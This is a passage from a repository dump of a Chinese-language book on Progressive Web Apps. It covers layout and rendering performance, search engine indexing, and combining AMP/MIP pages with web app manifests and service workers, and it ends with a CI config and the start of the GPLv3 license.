reflow（强制重新布局）。\n\n```js\nconst box = document.querySelector('.box')\nlet domRect = null\n\nfunction getBoxClientRect () {\n  domRect = box.getBoundingClientRect()\n}\n\nrequestAnimationFrame(getBoxClientRect)\n```\n\n我们在下一帧开始前通过 `getBoundingClientRect()` 获取元素的宽高及视口位置，获取的其实是上一帧已经计算好的布局信息。但如果在这之前又修改了元素的布局属性，那么为了获取当前正确的布局信息，浏览器只能被迫触发一次重新布局。如下面的代码所示：\n\n```js\nconst box = document.querySelector('.box')\nlet domRect = null\n\nfunction getBoxClientRect () {\n  box.style.width = '360px'\n  domRect = box.getBoundingClientRect() // forced reflow\n}\n\nrequestAnimationFrame(getBoxClientRect)\n```\n\n但如果我们交换上述写和读的操作，就不会触发重新布局。这是由于浏览器并不会在修改元素布局属性后直接重新布局，而是会将所有修改操作合并，在后续一帧的布局中统一处理。简单来说，始终保持布局属性先读后写，可以有效回避这个性能问题。\n\n我们明白了强制重新布局的原理后，可以再来看一种原理相同但较为隐蔽的性能问题，被为作布局抖动。\n\n```js\nconst boxes = [...document.querySelectorAll('.box')]\n\nboxes.forEach((box) => {\n  const domRect = box.getBoundingClientRect()\n\n  box.style.width = domRect.width + 10 + 'px'\n})\n```\n\n上面的例子试图将所有 `.box` 元素宽度增加 `10px` 。看似保持了对布局属性的先读后写，实际上浏览器快速而连续地进行了大量重新布局。这是由于在下一次 `forEach()` 迭代中，通过 `getBoundingClientRect()` 获取元素的布局信息时，必须考虑上一次迭代中修改 `box.style.width` 可能造成的影响。从而浏览器只能在每次迭代中都触发一次重新布局，造成布局抖动的现象。\n\n```js\nconst boxes = [...document.querySelectorAll('.box')]\nconst domRects = boxes.map(box => box.getBoundingClientRect())\n\nboxes.forEach((box, index) => {\n  box.style.width = domRects[index].width + 10 + 'px'\n})\n```\n\n调整元素布局属性的读写顺序，可轻易地解决布局抖动问题。只需确保布局属性先批量读取，再批量写入即可。\n\n## 优化绘制与合成\n\n类似对布局操作的优化，这一小节我们关注如何减少重绘。上文提到，修改元素几何形态相关的样式属性，才会触发页面重新布局。但对于绘制来说，我们能很直观地想到，修改绝大多数样式属性都会导致页面重绘，这很难避免。仅有的例外是 `transform` 和 `opacity`，这是由于它们可以仅由合成器操作图层来实现。另外，合成器运行在单独的线程里，即使浏览器主线程被阻塞，其效果也不会受到影响。所以，`transform` 和 `opacity` 非常适合用于实现动画效果，但我们仍需要通过 `will-change` 为它们创建独立的图层，避免影响其他图层的绘制。\n\n```css\n.moving-element {\n  will-change: transform, opacity;\n}\n```\n"
  },
  {
    "path": "chapter08.md",
    "content": "# 性能\n\n我们在 [第一章 什么是 PWA](./chapter01/2-what-is-pwa.md) 中提到，PWA 应该快速加载、及时响应用户反馈、提供流畅的动画、以及拥有类似 Native App 一般沉浸的用户体验。这每一点都表明，优秀的 PWA 对性能有很高的要求。\n\n本章将主要讨论 Web 应用的性能，将从页面加载性能和渲染性能两个方面，详细介绍 Web 应用性能优化原理和手段。\n\n"
  },
  {
    "path": "chapter09/1-search-engine-index.md",
    "content": "# 搜索引擎收录\n\n搜索引擎作为 Web 的重要的流量入口，是每个 Web App 开发者或运营者需要重点关注的一个方向，而 PWA 作为 Web 的一种形式，自然是需要关注搜索引擎对它的抓取和收录情况。通常 PWA 多数是 SPA，有以下几个原因：\n\n* SPA 天然具有 App Shell，也就是作为入口的 HTML。\n* App Shell 和 Service Worker 配套使用非常合适。\n* 页面间切换顺畅，体验良好。\n\n早期的几乎所有的搜索引擎都不支持索引 SPA，这导致 SPA 项目很少应用于依赖流量的用户产品类的 Web App，通常都只是作为内部项目的技术选型，当然这也是早期 Web 用户体验较差的一个原因之一。搜索引擎不能抓取和收录 SPA 有以下几个原因：\n\n* 搜索引擎只是抓取服务端直出的 HTML页面，并不会去执行页面里包含的 JS 代码，所以无法抓取 SPA 前端渲染后的内容。\n* 路由采用 hash 模式的 SPA 页面没有唯一的 URL，整个 SPA 站点都对应同一个 URL。\n\n好消息是 Google 在 2015-10-14 宣布其搜索引擎可以和现代浏览器一样抓取页面中通过 JavaScript 执行渲染的内容[https://webmasters.googleblog.com/2015/10/deprecating-our-ajax-crawling-scheme.html](https://webmasters.googleblog.com/2015/10/deprecating-our-ajax-crawling-scheme.html)，这样的话，SPA 在搜索引擎中的抓取和收录问题就解决了大半，开发者可以通过 pushState API 的方式来改变 URL，代替 hash 方案，通过前端路由管理的方式让 URL 和 SPA 的页面一一对应，这样就完美的解决了 SPA 在搜索引擎中的抓取和收录问题。\n\n但是事实并非如此，这仅仅是 Google 提出并实践出来了的方案，而现在市场上存在的搜索引擎还有非常多，它们并没有都像 Google 一样完全支持了抓取 SPA。在中国，百度作为最大的中文搜索引擎，从 2018 年才开始逐渐支持对移动端网页的 JavaScript 渲染内容的抓取。甚至直到今天市场还有很多搜索引擎并没有支持在抓取页面的时候运行 JavaScript。因此许多开发者或运营者为了兼顾所有搜索引擎的流量，还是不愿意尝试将整个站点改造为 SPA。\n\n那么，SPA 作为 PWA 的主要存在形态之一，如何让开发者或运营者在这样的搜索引擎环境下去让自己的 Web App 改造成 SPA 甚至是 PWA 呢？通常有如下两种比较好的方案，不仅解决了搜索收录的问题，还能提升用户体验。\n\n* SSR（Server Side Rendering）服务端渲染。\n* 结合 AMP/MIP。\n\n当前许多 MVVM 前端开发框架都支持了 SPA/SSR **同构架构**模式，如 React/Vue 等。通常采用 SSR 架构的 Web App 能做到第一次请求采用 SSR 模式直接在服务端渲染出内容，以供搜索引擎抓取和收录，第一屏无需在客户端通过执行 JavaScript 渲染内容，后续页面切换操作都是在客户端通过 pushState 的方式切换路由，采用前端渲染方式。这样既保证了搜索引擎的抓取和收录，也保证了 Web App 的良好用户体验。\n\n当前存在的 PWA 有许多也是采用 SPA/SSR 同构架构模式进行开发的。SSR 虽然很好的解决了搜索引擎抓取和收录的问题，但是对于服务器资源的消耗较大，维护成本也相对较高，容易在服务端出现一些意想不到的问题，所以在实际项目中使用时需要多加注意。由于 SSR 可查阅的资料较多，所以 SSR 内容将不在本章过多介绍。\n\nSPA 和 AMP/MIP 的结合，也是一种对搜索引擎友好的方案，在下一小节，将重点介绍这部分的内容。\n"
  },
  {
    "path": "chapter09/2-pwa-and-amp-and-mip.md",
    "content": "# PWA 与 AMP/MIP\n\n本节将会介绍 PWA 如何和 AMP/MIP 进行结合应用，以至于让 PWA 能够在搜索环境下体验变得更好。在看 PWA 如何和 AMP/MIP 结合之前，还是先了解一下什么是 AMP/MIP。\n\n## 什么是 AMP/MIP\n\nAMP（[https://www.ampproject.org](https://www.ampproject.org)）和 MIP（[https://www.mipengine.org](https://www.mipengine.org)）分别是 Google 和百度推出的网页加速的解决方案，主要面向移动端网页，因为 MIP 和 AMP 都是采用同样原理的解决方案，本章的内容都以介绍 AMP 为主。\n\nAMP 的原理解释起来也很简单，总结起来，包括三个部分：AMP HTML 规范、AMP Cache、AMP JS 运行时。\n\n### AMP HTML 规范\n\nAMP 制订了非常严格的 HTML 编写规范，只有严格按照 AMP HTML 规范编写的 HTML 页面并通过 AMP 校验器的校验，才能享受到 Google 搜索结果页给 AMP 页面带来的优质用户体验。\n\n下面的代码展示的是一个简单的 AMP HTML 的例子。\n\n```html\n<!doctype html>\n<html amp lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\">\n    <script async src=\"https://cdn.ampproject.org/v0.js\"></script>\n    <title>Hello, AMPs</title>\n    <link rel=\"canonical\" href=\"http://example.ampproject.org/article-metadata.html\">\n    <meta name=\"viewport\" content=\"width=device-width,minimum-scale=1,initial-scale=1\">\n    <style amp-boilerplate>\n      /* default css */\n    </style>\n    <noscript>\n      <style amp-boilerplate>\n        body {\n          -webkit-animation: none;\n          -moz-animation: none;\n          -ms-animation: none;\n          animation: none\n        }\n      </style>\n    </noscript>\n  </head>\n  <body>\n    <h1>Welcome to the mobile web</h1>\n    <amp-img src=\"welcome.jpg\" alt=\"Welcome\" height=\"400\" width=\"800\"></amp-img>\n  </body>\n</html>\n```\n\n在 AMP HTML 里可以使用很多标准自带的 HTML 标签，如 `<h1>`、`<div>` 等，但是也有很多标签不能使用，如 `<img>` 、`<iframe>` 等，因为这类型的原生的 HTML 标签对页面渲染性能有影响，如 `<img>` 加载的图片不经过 JS 无法 lazyload，对首屏性能有影响。\n\n因此 AMP 采用 W3C 提出的 customElements 标准编写了一个 `<img>` 标签的替代品自定义标签 `<amp-img>`，默认支持 lazyload，类似的自定义标签还有很多，最终的目的只有一个：让 AMP 页面的性能最好、体验最佳。\n\n下面是列举了几个比较重要的 AMP HTML 的规范，详细的规范请参照 AMP 的官方文档：[https://amp.dev/documentation/guides-and-tutorials/learn/spec/amphtml.html](https://amp.dev/documentation/guides-and-tutorials/learn/spec/amphtml.html)。\n\n**MUST**\n\n1. 必须要以 `<!doctype html>` 开始 HTML 页面。\n2. `<html>` 必须包含雷电标属性或者 amp，如 `<html ⚡>` 或 `<html amp>`。\n3. 必须要包含 `<head>` 和 `<body>` 标签。\n4. 在 `<head>` 里必须要有一个 canonical link 标签，指向常规的非 AMP 版本的 HTML 页面，如：`<link rel=\"canonical\" href=\"$SOME_URL\">`。\n5. charset 必须指定为 `UTF-8`，如 `<meta charset=\"utf-8\">`\n6. 必须包含一个 viewport meta 标签，如：`<meta name=\"viewport\" content=\"width=device-width\">`。\n7. 引入 AMP 官方指定的 AMP JS 运行时：`https://cdn.ampproject.org/v0.js`\n8. 必须包含 boilerplate 相关样式\n\n**MUST NOT**\n\n1. 不能在 `<script>` 标签中编写 JavaScript 代码，不能外链 JavaScript 代码，除了 AMP 的代码外。\n2. 不能通过 `<link>` 加载外链 style 资源，CSS 必须写在 `<style amp-custom><style>` 中，且不超过 50KB。\n3. 不允许使用 `<img>`, `<video>`, `<audio>`, `<iframe>` 等标签。\n\n#### AMP Cache\n\nAMP Cache 是 Google 的一个基于代理的 CDN，几乎所有的 Google 搜索结果页的 AMP 页面的资源都从这个 CDN 分发。AMP Cache 的工作流程非常好理解，流程示意图如图 9-1 所示。\n\n![图 9-1 搜索引擎收录 AMP 流程](./img/amp_search_engine_process.png)\n\n图 9-1 的描述信息基本上可以描述为以下几个步骤：\n\n1. 开发者提供 AMP HTML 页面的 URL 让 Google 搜索引擎爬虫抓取。\n2. 当开发者编写的 AMP HTML 页面被 Google 搜索引擎爬虫抓取，首先通过 `<html>` 是否含有 `amp` 属性判断是否是一个 AMP 页面。\n3. 如果判断结果是一个 AMP 页面就会启动 AMP Server 服务。\n4. AMP Server 服务会运行 AMP Validator 来校验当前的 HTML 页面是否完全符合 AMP HTML 的规范，如果校验符合规范，则被认定为标准的 AMP HTML 页面。\n5. AMP Server 会抓取这个 AMP HTML 以及 AMP HTML 依赖的所有静态资源。\n6. AMP Server 将这些静态页面和静态资源全部存储在 AMP Cache，并改写 AMP HTML 的引用静态资源的路径。\n7. 当用户在 Google 搜索引擎的搜索结果页点击 AMP 的结果时，Google 会在搜索结果页创建一个 iframe，以异步的方式打开存储在 AMP Cache CDN 的 AMP HTML 页面，而且该页面所有的静态资源就都是从 AMP Cache CDN 加载来的。\n\n也就是说 AMP 通过这种 Cache 存储全部静态资源的方式彻底的保证了加载性能。同时 AMP Cache 支持 HTTP2 协议，并且非常稳定，通过这种集中式的极致性能优化将加载速度提升，能够有效保证页面的稳定性和速度。\n\n#### AMP JS 运行时\n\nAMP JS 运行时指的是 `https://cdn.ampproject.org/v0.js`，也经常被称之为 `amp.js`，`amp.js` 同样也是部署在 AMP Cache CDN 上的，AMP 封装了一系列的 AMP 自定义标签，这些自定义标签既提供了完善的功能，又充分的规避了性能问题，在用户体验上下足了功夫，而这些 AMP 自定义标签也需要依赖于 `amp.js` 才能正常执行。\n\nAMP JS 运行时实现了所有 AMP **最佳性能原则**（[https://www.ampproject.org/learn/about-how](https://www.ampproject.org/learn/about-how))，AMP JS 运行时还提供了资源加载的管理机制，确保页面能够快速渲染，并异步加载所有资源，当然 AMP JS 运行时不仅确保所有的资源能够异步加载，而且还能够在资源加载之前预先计算每个元素的布局，加快首屏展现的速度。当然 AMP JS 运行时提供的功能远比这些复杂的多，AMP 可查阅的资料较多，在本章就不做深入的讲解。\n\n### PWA 结合 AMP/MIP\n\n了解了 AMP 和 MIP 的基本原理后，我们已经知道了在移动端 AMP/MIP 是一种行之有效的提升搜索引擎搜索结果落地页性能的方案。但与此同时，我们也看到了 AMP/MIP 的诸多局限性，在规范上限制很多，不能编写 JavaScript 代码，这样对于要实现一个复杂交互的 Web App 来说，无疑是增加了开发和维护成本，甚至可能由于 AMP 自定义标签的功能支持不足以满足业务需求时，会显得束手无策。\n\n因此 Google 也给出了一些建议，他们建议资讯类的 Web App 或交互较少的 Web App 适合用 AMP 来编写，如新闻、博客、相册等应用。而通过前面章节对 PWA 的了解，我们可以知道 PWA 往往比较复杂，能够支撑复杂的交互和复杂的业务逻辑。基于这些背景，我们需要探索出一条路，让用户从搜索结果页到落地页站点都具有比较完美的体验。这就需要考虑将 AMP/MIP 和 PWA 进行结合一下。经过一些实际项目的探索，目前比较合适的方案有两种。\n\n第一种方案是将整个站点都用 AMP 方式来编写，也可以称之为**全站 AMP**，在 AMP 页面的基础上再增加 Web App Manifest 和 Service Worker 的支持，就能够实现一个 AMP + PWA 模式的站点了。这种方案的好处由于搜索落地页还是 AMP 页面，所以从搜索结果页跳转的落地页体验会非常好，当落地页打开之后，后面再进行交互，由于集成了 Web App Manifest 和 Service Worker，搜索落地页也可以直接具有添加到桌面和离线缓存的功能。但是这种方案局限于 AMP 不能够支持复杂的站点，导致不太适合做复杂交互的 Web App。\n\n第二种方案就是将 AMP/MIP 页面作为中间页面，也可以称之为**在 AMP 中预加载 PWA**，可以将 AMP 页面的 HTML 中的 `<link rel=\"canonical\">` 标签的 `href` 指向 PWA 站点 URL，并且类似于 SSR 的方式提供一份 AMP 的页面内容以供搜索引擎抓取，如下代码所示：\n\n```html\n<!--...-->\n<link rel=\"canonical\" href=\"https://pwa.host/some/path\">\n<!--...-->\n```\n\n在搜索结果页点击 AMP 结果进入搜索落地 AMP 页后，点击 AMP 页面里的链接再跳转到 PWA 相应的页面，这样设计的的好处是在搜索结果页点出的体验非常良好，并且又能实现复杂交互的 PWA。\n\n除此之外，AMP 还提供了 PWA 内嵌 AMP 页面的能力，可以将 AMP 页面作为 PWA 的数据源，详细的可以参考 《Embed & use AMP as a data source》[https://www.ampproject.org/docs/integration/pwa-amp/amp-in-pwa](https://www.ampproject.org/docs/integration/pwa-amp/amp-in-pwa)，篇幅有限，本章将不会对这种方法进行深入讲解。本章接下来的内容将重点介绍前面提到的两种方案，将会深入的介绍具体做法以及遇到的一些问题。\n"
  },
  {
    "path": "chapter09/3-whole-site-amp-and-mip.md",
    "content": "# 全站 AMP/MIP\n\n全站 AMP/MIP，顾名思义就是指整个站点每个页面都用 AMP/MIP 来编写。由于全站 AMP 和全站 MIP 都会依赖于 AMP/MIP 运行时提供的交互机制，表 9-1 列出了能够通过 AMP/MIP 实现复杂交互的一些技术基础，并列出了 AMP 和 MIP 的一些区别。\n\n|| AMP | MIP |\n|------------|-----|-----|\n|事件处理机制|支持|支持|\n|页面切换过渡动画|不支持|支持|\n|页面间共享数据|不支持|支持|\n|shell 机制|不支持|支持|\n|外部自定义组件|不支持|支持|\n|自定义 JavaScript|不支持|支持|\n\n从表 9-1 对比可知，由于 MIP 对全站的支持情况要好于 AMP，所以在本节将会使用 MIP 对全站 AMP/MIP 方案进行讲解。全站 MIP 的实际效果可以看 MIP Project 的官网（[https://www.mipengine.org](https://www.mipengine.org)），移动浏览器下效果比较明显。整站 MIP 机制可以参考 MIP 官方文档的可交互设计概述（[https://www.mipengine.org/v2/docs/interactive-mip/introduction.html](https://www.mipengine.org/v2/docs/interactive-mip/introduction.html)）\n\n> 注意：\n> 全站 MIP 指的是的开发者自己开发的独立域名的独立 MIP 页面，并不是被 MIP Cache 索引之后的页面，只是 MIP 运行时提供机制能够让 MIP 体验单页化，用户体验会更好。\n\n## 添加 Web App Manifest\n\n如果要将 MIP 页面改造成 PWA 的话，首先需要给 MIP 添加 Web App Manifest 特性，而 Web App Manifest 在第五章中已经有详细介绍，这里就不再赘述。具体的做法是在每个 MIP 页面的 `<head>` 中添加 `manifest.json` 文件，如下代码所示。\n\n```html\n<!doctype html>\n<html amp lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\">\n    <script async src=\"https://c.mipcdn.com/static/v2/mip.js\"></script>\n    <title>Hello, MIP</title>\n    <link rel=\"canonical\" href=\"http://mipexample.org/article-metadata.html\">\n    <meta name=\"viewport\" content=\"width=device-width,minimum-scale=1,initial-scale=1\">\n    <!-- 插入 manifest.json -->\n    <link rel=\"manifest\" href=\"./manifest.json\">\n  </head>\n  <body>\n    <!-- MIP 页面内容 -->\n  </body>\n</html>\n```\n\n为了保证每个 MIP 页面都能够添加到桌面，每个 MIP 页面都需要添加 `manifest.json` 文件，`manifest.json` 的内容示例如下代码所示。\n\n```json\n{\n  \"name\": \"MIP-PWA\",\n  \"short_name\": \"MIP-PWA\",\n  \"icons\": [\n    {\n      \"src\": \"./launcher-icon-1x.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"48x48\"\n    },\n    {\n      \"src\": \"./launcher-icon-2x.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"96x96\"\n    },\n    {\n      \"src\": \"./launcher-icon-4x.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"192x192\"\n    }\n  ],\n  \"start_url\": \"/?standalone=1\",\n  \"background_color\": \"#ffffff\",\n  \"display\": \"standalone\",\n  \"theme_color\": \"#1976d2\"\n}\n```\n\n其中需要注意的是，`start_url` 需要指定一个固定的入口 URL，当用户将 MIP 页面添加到桌面之后，可以保证用户从桌面入口进入 PWA 之后能够有一个固定的入口。\n\n## 启用 Service Worker\n\nMIP 页面在集成了 Web App Manifest 之后，进而需要集成并启用 Service Worker 才能让站点离线使用，加快首屏展现等。那么如何在 MIP 页面中使用 Service Worker 呢？\n\n### 注册 Service Worker\n\n通过第四章对 Service Worker 的介绍，通常注册 Service Worker 只需要在 HTML 页面的 `<script>` 标签中编写一段简短的 JavaScript 代码来完成。但是通过上一节对 AMP/MIP 的介绍，我们知道 AMP/MIP 页面是无法编写 JavaScript 的，那么在这种情况下，如何完成 Service Worker 的注册呢？\n\n由于 MIP 可以通过 `<mip-script>` 标签来支持编写简单的 JavaScript 代码，虽然有一些限制，但是是可以编写 Service Worker 注册逻辑的，具体代码如下所示：\n\n```html\n<mip-script>\n// 注册 Service Worker\nif ('serviceWorker' in navigator) {\n  navigator.serviceWorker.register('./sw.js')\n}\n</mip-script>\n```\n\n>注意：\n>\n> MIP 可以通过 `<mip-script>` 标签来支持编写简单的 JavaScript 代码，但是会有一些限制，具体可以参考 `<mip-script>` 组件文档（[https://www.mipengine.org/v2/components/extensions/mip-script.html](https://www.mipengine.org/v2/components/extensions/mip-script.html)），但是 AMP 并不支持编写自定义 JavaScript 的方式，所以这种方法不适合在 AMP 中使用。\n\nMIP 还提供了一个组件 `<mip-install-serviceworker>` 来帮助 MIP 页面完成 Service Worker 的注册。具体用法很简单，首先只需要在 MIP 页面中引入 `<mip-install-serviceworker>` 组件的 JavaScript CDN 文件地址，如下代码所示：\n\n```html\n<script async src=\"https://c.mipcdn.com/static/v1/mip-install-serviceworker/mip-install-serviceworker.js\"></script>\n```\n\n在引入组件 JavaScript 文件之后，在 MIP 页面中就可以使用 `<mip-install-serviceworker>` 标签在 MIP 页面中进行 Service Worker 的注册，如下代码所示：\n\n```html\n<mip-install-serviceworker src=\"./sw.js\"\n  data-iframe-src=\"https://mipexample.org/sw.html\"\n  layout=\"nodisplay\"\n  class=\"mip-hidden\"\n></mip-install-serviceworker>\n```\n\n在 mip-install-serviceworker 组件里，提供了 `src` 和 `data-iframe-src` 两个属性。如果要让 Service Worker 能顺利注册，两个属性都需要填写，因为 MIP 页不仅在搜索结果页下通过 iframe 的方式打开，还可以被直接访问。\n\n如果是直接通过 MIP 页面的独立地址访问，因为 Service Worker 的文件 URL 域和当前 MIP 站点一致，可以直接注册，这个时候就会直接使用到 `src` 属性提供的 Service Worker 文件 URL，通过组件内部调用 `navigator.serviceWorker.register()` 方法进行直接注册。\n\n但是 MIP 页不仅能直接访问，还能被缓存在 MIP Cache CDN 上，在搜索结果页通过 iframe 的方式打开，那么用户访问的这个页面的域名就不是站点本身的域名。由于站点不能跨域注册 Service Worker 文件 URL，所以不能无法通过 `navigator.serviceWorker.register()` 方法直接注册。这种情况下可以通过 iframe 嵌入和站点同一域的一个中间 HTML 页面来解决域名不同的问题，而在这个中间 HTML 页面中就可以注册 Service Worker，提前缓存站点资源，这个中间 HTML 页面的地址就是 data-iframe-src 属性指定的地址，HTML 页面代码可以很简单，如下代码所示：\n\n```html\n<!--https://same-origin-host-of-mip-page.com/index.html-->\n<script>\nif ('serviceWorker' in navigator) {\n  navigator.serviceWorker.register('/sw.js')\n}\n</script>\n```\n\n虽然现代浏览器几乎都已经支持了 Service Worker，但是为了保证极致的体验和兼容性，mip-install-serviceworker 组件还提供了一种机制专门针对那些不支持 Service Worker 的浏览器。可以指定一个特殊的同源 shell 页面，在 MIP 页面中提前加载这个 shell 页面进行 HTTP 缓存。通过 `data-no-service-worker-fallback-url-match` 属性指定需要跳转到该 shell 页面的 URL 规则，该属性为正则表达式。并且可以通过 `data-no-service-worker-fallback-shell-url` 指定的 shell 页面的 URL, 需要和 MIP 页面保持同源，当该 shell 页面加载完成之后，有必须通过 hash 参数 redirect 到原页面的逻辑。代码如下所示：\n\n```html\n<mip-install-serviceworker src=\"./sw.js\"\n  data-iframe-src=\"https://mipexample.org/sw.html\"\n  layout=\"nodisplay\"\n  class=\"mip-hidden\"\n  data-no-service-worker-fallback-url-match=\".*\\.html\"\n  data-no-service-worker-fallback-shell-url=\"https://mipexample.org/shell/\"\n></mip-install-serviceworker>\n<a data-type=\"mip\" href=\"https://samehost.org/some/path/index.html\">link1</><br/>\n<a data-type=\"mip\" href=\"http://samehost.org/some/path/index.html\">link2</a><br/>\n<a data-type=\"mip\" href=\"https://diffhost.org/some/path/index.html\">link3</a>\n```\n\n在不支持 Service Worker 的浏览器环境下，点击 link1，link2 链接同样可以实现离线缓存的效果，link3 由于不同源的问题，所以缓存不会生效。\n\n当然，AMP 同样也提供了 `<amp-install-serviceworker>` 组件可以进行 Service Worker 注册的工作，用法和 `<mip-install-serviceworker>` 一致。\n\n### 编写 Service Worker\n\n在 MIP 页面中顺利完成 Service Worker 的注册之后，接下来的工作就是就是编写 Service Worker 文件的逻辑了。根据第四章的介绍，在 Service Worker 中监听 `fetch` 事件可以拦截在 Service Worker 作用域范围内的所有网络请求，下面代码展示了一个简单的 Service Worker 文件示例：\n\n```js\nconst CACHE_NAME = 'my-mip-pwa-test'\n\nself.addEventListener('fetch', event => {\n  event.respondWith(\n    caches.open(CACHE_NAME).then(cache => {\n      return cache.match(event.request).then(response => {\n        let promise = fetch(event.request).then(res => {\n          cache.put(event.request, res.clone())\n          return res\n        })\n\n        // 可以在这里对 response 做进一步的处理\n        return response || promise\n      })\n    })\n  )\n})\n```\n\n通过以上代码就可以完成简易网络请求的缓存功能了，实际上还不是很完善，没有做缓存的更新及清理，也没有预加载的逻辑，在第四章已经对如何开发一个完善的 Service Worker 文件有了详细的介绍，开发者完全可以根据自己的需求来编写 Service Worker 文件。\n"
  },
  {
    "path": "chapter09/4-preload-pwa.md",
    "content": "# 在 AMP/MIP 页面中预加载 PWA\n\n通过本章第二节，我们了解到 AMP/MIP 不适合用实现复杂的 Web App，按照 AMP 官网的介绍，AMP 是“叶子页面”（有具体内容，不是导航类型的页面）理想的解决方案，因为它加载快，体验好，适合做搜索引擎跳出的第一个页面，却由于无法编写 JavaScript，不适合完成复杂的需求。因此第二跳应该从 AMP 跳出到 PWA，但是大部分 PWA 站点由于其重度依赖于 JavaScript，导致首屏较慢，那么这节就来解释一下如何通过在 AMP/MIP 中预加载 PWA 页面来加速 PWA 页面的展现。\n\n接下来先开门见山的介绍一下整个方案的步骤。\n\n1. 将所有的叶子页面都做成 AMP/MIP，通过 `canonical` 指向 PWA 对应的页面。\n2. 在 AMP 页面中嵌入 `<mip-install-serviceworker>` 来提前注册 Service Worker。\n3. Service Worker 在注册和安装的时候把 PWA 页面依赖的文件缓存好，包括 App Shell 依赖的所有资源。\n4. AMP 页面中所有链接都跳到 PWA。\n5. 当用户点击 AMP 中的链接，请求会被 Service Worker 拦截，会立即展现 App Shell。\n\n## 在 AMP/MIP 页面中注册站点的 Service Worker\n\n和上节一样步骤基本一样，首先通过在 MIP 页面中嵌入 `<mip-install-serviceworker>` 来注册 Service Worker。\n\n```html\n<!-- 引入 mip-install-serviceworker 的扩展的 JS -->\n<script async src=\"https://c.mipcdn.com/static/v1/mip-install-serviceworker/mip-install-serviceworker.js\"></script>\n\n<!-- 注册 Service Worker -->\n<mip-install-serviceworker\n  src=\"https://www.your-domain.com/serviceworker.js\"\n  layout=\"nodisplay\">\n</mip-install-serviceworker>\n```\n\n## 编写 Service Worker 的逻辑\n\n与上节不同的是，在这种方案里需要对将要跳转的 PWA 页面的 App Shell 等文件进行预缓存，从而提升跳转首屏展现的用户体验，因此代码编写上会有一些区别，下面代码所展示的是一个 AMP/MIP 跳转的 PWA 的 Service Worker 文件的一部分内容，主要是对 App Shell 先进行预缓存。\n\n```js\nconst CACHE_NAME = 'my-site-precache'\nconst URLS_TO_CACHE = [\n  '/',\n  '/static/vendor.js',\n  '/static/app.js',\n  '/static/app.css'\n]\nself.addEventListener('install', event => {\n  event.waitUntil(\n    caches.open(CACHE_NAME).then(cache => {\n      // 将列表中的文件进行预缓存\n      return cache.addAll(URLS_TO_CACHE)\n    })\n  )\n})\n```\n\n上面的例子其中一部分，`/` 就是 App Shell，其他都是其依赖的静态文件，如果采用 SSR，那么 Service Worker 就还需要再进行加工，在前面的章节中也有过介绍。\n\n到这里注册 Service Worker 和编写 Service Worker 都已经完成了，开发者只需要再将 AMP/MIP 中的链接跳转到对应的 PWA 页面即可。\n\n以上就是第九章的全部内容，讲解了 PWA 与搜索如何结合，如何使用 AMP/MIP 来对页面进行加速。\n"
  },
  {
    "path": "chapter09.md",
    "content": "# PWA 与搜索\n\nPWA 是 Web 的一种形式，搜索仍是它的一大入口。\n\n熟知搜索引擎的开发者都知道，早期的搜索引擎是不支持抓取 SPA(Single Page Application) 的，而 PWA 多是 SPA，在这种情况下，如何让搜索引擎能够更好的收录 PWA 页面是本章要介绍的第一个问题。\n\nSPA 页面依赖于 JavaScript 进行渲染，其内容并不是由服务器端渲染直出的，因此从搜索结果页点击结果跳到 PWA 页面，会经历比较长的时间的一段白屏，如何提升 PWA 页面从搜索过来的体验，是本章要介绍的第二个问题。\n"
  },
  {
    "path": "ci.yml",
    "content": "Global:\n  tool: build_submitter\n\nDefault:\n  profile: [buildProduction]\n\nProfiles:\n\n  - profile:\n    name: buildProduction\n    env: cmc_standard\n    command: export NODE_ENV=production && sh scripts/build.sh\n    release: true\n\n  - profile:\n    name: buildDevelopment\n    env: cmc_standard\n    command: export NODE_ENV=development && sh scripts/build.sh\n    release: true\n"
  },
  {
    "path": "docs/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means 